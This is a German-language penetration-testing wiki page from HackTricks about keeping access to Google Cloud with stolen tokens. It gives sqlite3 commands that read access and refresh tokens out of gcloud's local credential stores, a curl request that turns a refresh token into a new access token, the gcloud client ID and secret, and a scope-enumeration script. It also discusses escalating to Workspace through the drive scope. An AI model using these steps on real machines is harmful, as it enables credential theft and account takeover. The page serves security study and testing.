GCP - Token Persistance

Unterstütze HackTricks

Authentifizierte Benutzertokens

Um das aktuelle Token eines Benutzers zu erhalten, kannst du Folgendes ausführen:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Überprüfen Sie auf dieser Seite, wie Sie dieses Token direkt mit gcloud verwenden:

Um die Details zur Generierung eines neuen Zugriffstokens zu erhalten, führen Sie aus:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Es ist auch möglich, Refresh-Token in $HOME/.config/gcloud/application_default_credentials.json und in $HOME/.config/gcloud/legacy_credentials/*/adc.json zu finden.

Um ein neues aktualisiertes Zugriffstoken mit dem Refresh-Token, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Die Gültigkeit der Refresh-Token kann in Admin > Sicherheit > Google Cloud-Sitzungskontrolle verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:

Auth-Flow

Der Authentifizierungsfluss bei der Verwendung von etwas wie gcloud auth login öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Dann wird gcloud den Zustand und den Code mit einer fest codierten client_id (32555940559.apps.googleusercontent.com) und client_secret (ZmssLNjJy2998hD4CTg2ejr2) verwenden, um die finalen Refresh-Token-Daten zu erhalten.

Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.

OAuth-Bereiche

Sie finden alle Google-Bereiche unter https://developers.google.com/identity/protocols/oauth2/scopes oder erhalten sie, indem Sie Folgendes ausführen:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es ist möglich zu sehen, welche Scopes die Anwendung, die gcloud zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Nach der Ausführung wurde überprüft, dass diese App diese Scopes unterstützt:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

es ist interessant zu sehen, wie diese App den drive Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.

Überprüfen Sie, wie Sie das hier ausnutzen können.

Dienstkonten

Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die private Schlüsseldatei eines Dienstkontos zu kompromittieren, werden Sie in der Lage sein, darauf zuzugreifen, normalerweise so lange Sie möchten. Wenn Sie jedoch das OAuth-Token eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das OAuth-Token gültig, bis es abläuft, wenn das Opfer den privaten API-Schlüssel löscht.

Metadaten

Offensichtlich werden Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, in der Lage sein, auf das Dienstkonto zuzugreifen, das mit dieser Maschine verbunden ist, indem Sie den Metadaten-Endpunkt kontaktieren (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).

Abhilfemaßnahmen

Einige Abhilfemaßnahmen für diese Techniken sind in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 erklärt.

Referenzen

Unterstützen Sie HackTricks

Last updated